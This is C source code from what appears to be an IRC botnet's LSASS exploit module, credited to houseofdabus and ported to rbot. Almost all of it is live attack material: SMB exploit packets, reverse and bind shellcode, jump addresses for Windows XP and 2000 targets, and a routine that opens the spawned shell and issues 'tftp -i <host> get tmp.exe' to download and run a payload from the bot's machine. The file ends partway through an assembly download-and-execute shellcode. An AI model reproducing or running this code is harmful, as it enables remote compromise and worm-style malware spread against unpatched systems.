	//	 printf("\n[+] All done, server have now executed your executable!\n");
		 
	//	 closesocket(sockfd);
	//	 Sleep(1000);
	//	 WSACleanup();

		ShellSocket = XSocket();
		if BAD_SOCKET(ShellSocket)
		{
			closesocket(ExploitSocket);
			xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 30);
			return false;
		}

		memset(&ShellSin, 0, sizeof(SOCKADDR_IN));
		ShellSin.sin_family = AF_INET;
		ShellSin.sin_port = htons(LSASS_BSPORT);
		ShellSin.sin_addr.S_un.S_addr = inet_addr(XResolveHost2(Host));

		if (connect(ShellSocket, (LPSOCKADDR)&ShellSin, sizeof(ShellSin)) == SOCKET_ERROR)
		{
			closesocket(ExploitSocket);
			closesocket(ShellSocket);
			xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 31);
			return false;
		}

		if (!XWaitNetworkData(ShellSocket, 60, TRUE))
		{
			closesocket(ExploitSocket);
			xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 32);
			return false;
		}

		if (recv(ShellSocket, recvbuf, 1600, 0) > 0)
		{

			xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "buf: %s", recvbuf);

			Sleep(500);

			char *filename = "tmp.exe";
			char cmd_buff[512] = {0};

			_snprintf(cmd_buff, sizeof(cmd_buff)-1, "del %s&tftp -i %s get %s&%s&exit\r\n", filename, XGetSocketIP(client->CommandSocket), filename, filename);

		
			if (send(ShellSocket, cmd_buff, strlen(cmd_buff), 0) == SOCKET_ERROR)
			{
				closesocket(ExploitSocket);
				closesocket(ShellSocket);
				xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 33);
				return false;
			}

			while (1)
			{
				if (!XWaitNetworkData(ShellSocket, 60, TRUE))
				{
					closesocket(ExploitSocket);
					closesocket(ShellSocket);
					xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 34);
					return false;
				}
				else if (recv(ShellSocket, recvbuf, sizeof(recvbuf), 0) <= 0)
				{
					closesocket(ExploitSocket);
					closesocket(ShellSocket);
					xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 35);
					return false;
				}
				else
				{
					strlwr(recvbuf);

					xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "buf: %s", recvbuf);

					if (strstr(recvbuf, "transfer successful:"))
					{
						closesocket(ExploitSocket);
						closesocket(ShellSocket);
						xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 36);
						return true;
					}
					else if (strstr(recvbuf, "is not recognized"))
					{
						closesocket(ExploitSocket);
						closesocket(ShellSocket);
						xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 37);
						return false;
					}
					else if (strstr(recvbuf, "timeout occurred"))
					{
						closesocket(ExploitSocket);
						closesocket(ShellSocket);
						xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 38);
						return false;
					}
					else if (strstr(recvbuf, "can't write"))
					{
						closesocket(ExploitSocket);
						closesocket(ShellSocket);
						xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 39);
						return false;
					}
					
				}
				Sleep(100);
			}
			
		}
	return true;
	}


	//	_snprintf(buffer, sizeof(buffer), "[%s]: Exploiting IP: %s.", exploit[exinfo.exploit].name, exinfo.ip);
	//	if (!exinfo.silent)
	//		irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice);
	//	addlog(buffer);
	//	exploit[exinfo.exploit].stats++;

//		return true;
//	}
//	else
//	{
//		xsend(client->CommandSocket, client->SecureKey, &client->IRCInfo, 3, "Return fase[%d]", 40);
//		return false;
//	}
}
#endif
/*
 *                 .::[ houseofdabus ]::.
 * ported to rbot by:
 * lskldjflsdkjfsldkfjs803
 *
#ifndef NO_LSASS
#include "includes.h"
#include "functions.h"
#include "externs.h"

//#pragma comment(lib, "ws2_32")

// reverse shellcode
unsigned char reverseshell[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";

// bind shellcode
unsigned char bindshell[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\x34\x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\x12\xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\xCF\xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\xC0\xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\x9A\x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\x58\x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\x12\x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\xCE\x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\xC9\xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\xAA\x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\xCE\x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\x59\xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\xCF\xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\xC8\xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\xC9\xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\x7D\xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\x32\x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\xF6\xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\xC9\xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\xFC\xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\x99\xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\xED\xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\xFA\xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\xED\x99";



char req1[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\x00\x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\x4E\x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\x31\x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\x57\x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\x67\x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\x2E\x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\x31\x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";

char req2[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\x97\x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\x00\x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";


char req3[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\x0A\x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\x00\x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\x01\x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\x00\x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x06\x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\x15\x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\xE4\x49\x1C\x28\xAF"
"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\x00\x00\x00";


char req4[] =
"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\x01\x00\x31\x00\x00"
"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\x00\x31\x00\x36\x00"
"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\x00\x30\x00\x5C\x00"
"\x49\x00\x50\x00\x43\x00\x24"
"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";

char req5[] =
"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\x00\x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\x00\x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\x00\x73\x00\x61\x00"
"\x72\x00\x70\x00\x63\x00\x00\x00";

char req6[] =
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x48\x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\x03\x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\x10\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\x39\x0C\xB1\xD0\x11"
"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\x00\x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00";

char req7[] =
"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xDC\x04"
"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\xA0\x0C\x54\x00\x02"
"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x03\x10\x00\x00\x00"
"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\x00\x00\x00\x09\x00"
"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\x00";
// room for shellcode here ...

char shit1[] =

"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x7C\x70\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\x00\xAB\x5B\xA6\xE9";

char req8[] =
"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xFF\xFE"
"\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\x00\x00\x00\x00\xFF"
"\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\x40\x00\x00\x00\x00"
"\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\x00\xB8\x10\x00\x00"
"\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\x00\xAD\x0D\x00\x00"
"\x00\x00\x00\x00\xAD\x0D\x00\x00";
// room for shellcode here ...

char req9[] =
"\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\x00\x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x18\x01"
"\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\x00\x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\x84\x0F\x54\x00\x02"
"\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\x00\x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\x02\x10\x00\x00\x00"
"\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\x00\x00\x00\x09\x00";


char shit3[] =
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00\x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00";




#define LEN 3500
#define BUFSIZE 2000
#define NOP 0x90
int dport = 44445;

struct targets {

int num;
char name[50];
long jmpaddr;

} ttarget[]= {
{ 0, "WinXP Professional    [universal] lsass.exe ", 0x01004600 }, // jmp esp addr
{ 1, "Win2k Professional    [universal] netrap.dll", 0x7515123c }, // jmp ebx addr
{ 2, "Win2k Advanced Server [SP4]       netrap.dll", 0x751c123c }, // jmp ebx addr
//{ 3, "reboot", 0xffffffff }, // crash
{ NULL }
};

bool ConnectShell(EXINFO exinfo) {

		int len;
		char recvbuf[1024];
		SOCKET sockfd;
		SOCKADDR_IN shell_addr;
		memset(&shell_addr, 0, sizeof(shell_addr));
		

		shell_addr.sin_family = AF_INET;
		shell_addr.sin_addr.s_addr = finet_addr(exinfo.ip); // = *((LPIN_ADDR) * lpHostEntry->h_addr_list);
		shell_addr.sin_port = fhtons(dport);;

		if ((sockfd = fsocket(AF_INET, SOCK_STREAM, 0)) == INVALID_SOCKET )
			return false;
		if (fconnect(sockfd, (LPSOCKADDR)&shell_addr, sizeof(shell_addr)) == SOCKET_ERROR) 
			return false;
		
		char mkdir_buff[400];

		len = frecv(sockfd, recvbuf, 1024, 0);

		_snprintf(mkdir_buff, sizeof (mkdir_buff),
		"tftp -i %s get %s\r\n",
		GetIP(exinfo.sock),filename, filename);	

		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;
		
		Sleep(500);
		_snprintf(mkdir_buff, sizeof (mkdir_buff), "%s\r\n", filename);


		if (fsend(sockfd, mkdir_buff, strlen(mkdir_buff),0) == -1)
			return false;
		len = frecv(sockfd, recvbuf, 1024, 0);

		fclosesocket(sockfd);
		return true;

}



bool Exploit2 ( EXINFO exinfo , SOCKET sockfd, int which ) {

	int i;
	int opt = 0;
	char hostipc[40];
	char hostipc2[40*2];

	unsigned short port;
	unsigned char *sc;
//	char *sc = (char *)malloc(4096);


	char buf[LEN+1];
	char sendbuf[(LEN+1)*2];

	char req4u[sizeof(req4)+20];

	char screq[BUFSIZE+sizeof(req7)+1500+440];
	char screq2k[4348+4060];
	char screq2k2[4348+4060];

	char recvbuf[1600];

	char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
	char strBuffer[BUFSIZE];

	unsigned int targetnum = 0;

	int len;
	
	
	char smblen;
	char unclen;

    
    sprintf((char *)hostipc,"\\\\%s\\ipc$", exinfo.ip);

    for (i=0; i<40; i++) {
        hostipc2[i*2] = hostipc[i];
        hostipc2[i*2+1] = 0;
    }

    memcpy(req4u, req4, sizeof(req4)-1);
    memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
    memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);

    smblen = 52+(char)strlen(hostipc)*2;
    memcpy(req4u+3, &smblen, 1);

    unclen = 9 + (char)strlen(hostipc)*2;
    memcpy(req4u+45, &unclen, 1);
    
    port = fhtons(dport)^(USHORT)0x9999;
    memcpy(&bindshell[176], &port, 2);
    sc = bindshell;
	
//	DWORD scsize = GetRNS0TerminatedShellcode(sc, 4096, GetIP(exinfo.sock), filename);
//	if (!scsize) {
//		free(sc);
//		return false;
//	}
//

    if (which != 0) {

        memset(buf, NOP, LEN);

        //memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
        memcpy(&buf[2020], &ttarget[which].jmpaddr, 4);
        memcpy(&buf[2036], sc, strlen((const char *)sc));

        memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
        memcpy(&buf[2844], &ttarget[which].jmpaddr, 4); // jmp ebx addr
        //memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr

        memcpy(&buf[2856], sc, strlen((const char*)sc));

        for (i=0; i<LEN; i++) {
            sendbuf[i*2] = buf[i];
            sendbuf[i*2+1] = 0;
        }
        sendbuf[LEN*2]=0;
        sendbuf[LEN*2+1]=0;

        memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
        memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);

    } else {
        memset(strBuffer, NOP, BUFSIZE);
        memcpy(strBuffer+160, sc, strlen((const char*)sc));
        memcpy(strBuffer+1980, strasm, strlen(strasm));
        *(long *)&strBuffer[1964]=ttarget[which].jmpaddr;
    }

    memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);

//    printf("[*] Attacking ... ");
    if (fsend(sockfd, req4u, smblen+4, 0) == -1)
      return false;

    len = frecv(sockfd, recvbuf, 1600, 0);

    if (fsend(sockfd, req5, sizeof(req5)-1, 0) == -1)
      return false;
    len = frecv(sockfd, recvbuf, 1600, 0);


    if (fsend(sockfd, req6, sizeof(req6)-1, 0) == -1) 
      return false;

    len = frecv(sockfd, recvbuf, 1600, 0);
	if ( which != 0 ) {
	//if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
	    memcpy(screq2k, req8, sizeof(req8)-1);
	    memcpy(screq2k+sizeof(req8)-1, sendbuf, (LEN+1)*2);

	    memcpy(screq2k2, req9, sizeof(req9)-1);
	    memcpy(screq2k2+sizeof(req9)-1, sendbuf+4348-sizeof(req8)+1, (LEN+1)*2-4348);

	    memcpy(screq2k2+sizeof(req9)-1+(LEN+1)*2-4348-sizeof(req8)+1+206, shit3, sizeof(shit3)-1);

		if (fsend(sockfd, screq2k, 4348, 0) == -1) 
			return false;
		len = frecv(sockfd, recvbuf, 1600, 0);
     
	    if (fsend(sockfd, screq2k2, 4060, 0) == -1) 
			return false;

	} else {
	    memcpy(screq, req7, sizeof(req7)-1);
	    memcpy(screq+sizeof(req7)-1, &strBuffer[0], BUFSIZE);
	    memcpy(screq+sizeof(req7)-1+BUFSIZE, shit1, 9*16);

	    screq[BUFSIZE+sizeof(req7)-1+1500-304-1] = 0;
	    if (fsend(sockfd, screq, BUFSIZE+sizeof(req7)-1+1500-304, 0)== -1)
			return false;
	}
 //   len = recv(sockfd, recvbuf, 1600, MSG_NOWAIT);
	Sleep(300);

	if (ConnectShell(exinfo))
		return true;
	return false;
//	return true;
}

BOOL lsass(EXINFO exinfo)
  {

	    int len;
		char buffer[IRCLINE];
		SOCKET sockfd;
 		int dport = 44444;
		BOOL success = FALSE;
        char recvbuf[1600];
		SOCKADDR_IN their_addr;
		memset(&their_addr, 0, sizeof(their_addr));

		{

			their_addr.sin_family = AF_INET;
			their_addr.sin_addr.s_addr = finet_addr(exinfo.ip); // = *((LPIN_ADDR) * lpHostEntry->h_addr_list);

			/* ^ Server's address *
			their_addr.sin_port = fhtons((unsigned short)exinfo.port);

			/* connect to the server *

      if ((sockfd = fsocket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == INVALID_SOCKET)
        return FALSE;
      if (fconnect(sockfd, (LPSOCKADDR)&their_addr, sizeof(their_addr)) == SOCKET_ERROR) 
        return FALSE;
      if (fsend(sockfd, req1, sizeof(req1)-1, 0) == -1)
        return FALSE;
      len = frecv(sockfd, recvbuf, 1600, 0);
      
      if (fsend(sockfd, req2, sizeof(req2)-1, 0) == -1)
        return FALSE;
      len = frecv(sockfd, recvbuf, 1600, 0);
      
      if (fsend(sockfd, req3, sizeof(req3)-1, 0) == -1)   
        return FALSE;
      len = frecv(sockfd, recvbuf, 1600, 0);
      
      
       switch (recvbuf[68]) {

         case '1': // win XP	
			if (Exploit2( exinfo, sockfd, 0 ))
				success = TRUE;
			break;

         case '0': //win 2k
			 if (!Exploit2( exinfo, sockfd, 2 )) {
				if (Exploit2( exinfo, sockfd, 1))
					success = TRUE;
			 } else {
				 success = TRUE; }
            break;

         default:
           return FALSE;     
       }
    }
    fclosesocket(sockfd);
	if (success) {
		_snprintf(buffer, sizeof(buffer), "[%s]: Exploiting IP: %s.", exploit[exinfo.exploit].name, exinfo.ip);
		irc_privmsg(exinfo.sock, exinfo.chan, buffer, exinfo.notice);
		addlog(buffer);
		exploit[exinfo.exploit].stats++;
	}
	return TRUE;

  }

//REGSCANNER(lsass_445, LSASS, 445, true, true);
#endif
*/
//shellcode.asm
/*
;
;  tftp  -  shellcode to accept download and execute a file
; 
;  Copyright (c) 2004 by X-Lock
;  All Rights Reserved
;
;  NOTE: Should work on Win98/ME/NT4/2K/XP, no matter which SP/language
;
;

  .386
  .model flat, stdcall
   option casemap:none

   include \masm32\include\windows.inc
;
;   kernel32 for testing only
;
    include \masm32\include\kernel32.inc
    includelib \masm32\lib\kernel32.lib
;

   assume fs:flat

  .code

   db "START->"
start:
; *** Dino Dai Zovi's PEB way to find kernel base ******************************
   xor   eax, eax
   mov   eax, fs:[eax+30h]      ; Extract the PEB

   test  eax, eax               ; Check for Windows 9x
   js    find_kernel32_9x       ; If signed short, jump to windows 9x lookup

find_kernel32_nt:
   mov   eax, [eax + 0ch]       ; Extract the PROCESS_MODULE_INFO pointer from the PEB
   mov   esi, [eax + 1ch]       ; Get the address of flink in the init module list
   lodsd                        ; Load the address of blink into eax
   mov   eax, [eax + 08h]       ; Grab the module base address from the list entry

   jmp   find_kernel32_finished ; Fall down to the bottom
find_kernel32_9x:
   mov   eax, [eax + 34h]       ; Undocumented offset (0x34)
   lea   eax, [eax + 7ch]       ; Load the address of eax+0x7c to keep us in signed byte range
   mov   eax, [eax + 3ch]       ; Undocumented offset (0xb8)
find_kernel32_finished:
; *** 31 bytes *****************************************************************
; = 31 bytes
; *** Find imports CreateProcessA & ExitThread *********************************
   mov   edx, eax               ; edx = ImageBase of kernel32

   add   eax, [eax + 3ch]       ; Get pointer to PE header

   mov   ecx, edx
   add   ecx, [eax + 78h]       ; ecx now holds pointer to export table

   mov   eax, edx
   add   eax, [ecx + 20h]       ; eax = ptr ptr names

   mov   ebx, edx
   add   ebx, [ecx + 1ch]       ; ebx = ptr ptr functions

   xor   edi, edi               ; will point to ExitThread
   xor   esi, esi               ; will point to CreateProcessA
find_createprocessa_and_exitthread_loop:
   mov   ecx, edx
   add   ecx, [eax]

   cmp   dword ptr [ecx + 0ah], "Asse" ; are we at CreateProcessA?
   jnz   not_createprocessa            ; no
   mov   esi, [ebx]                    ; yes, take address
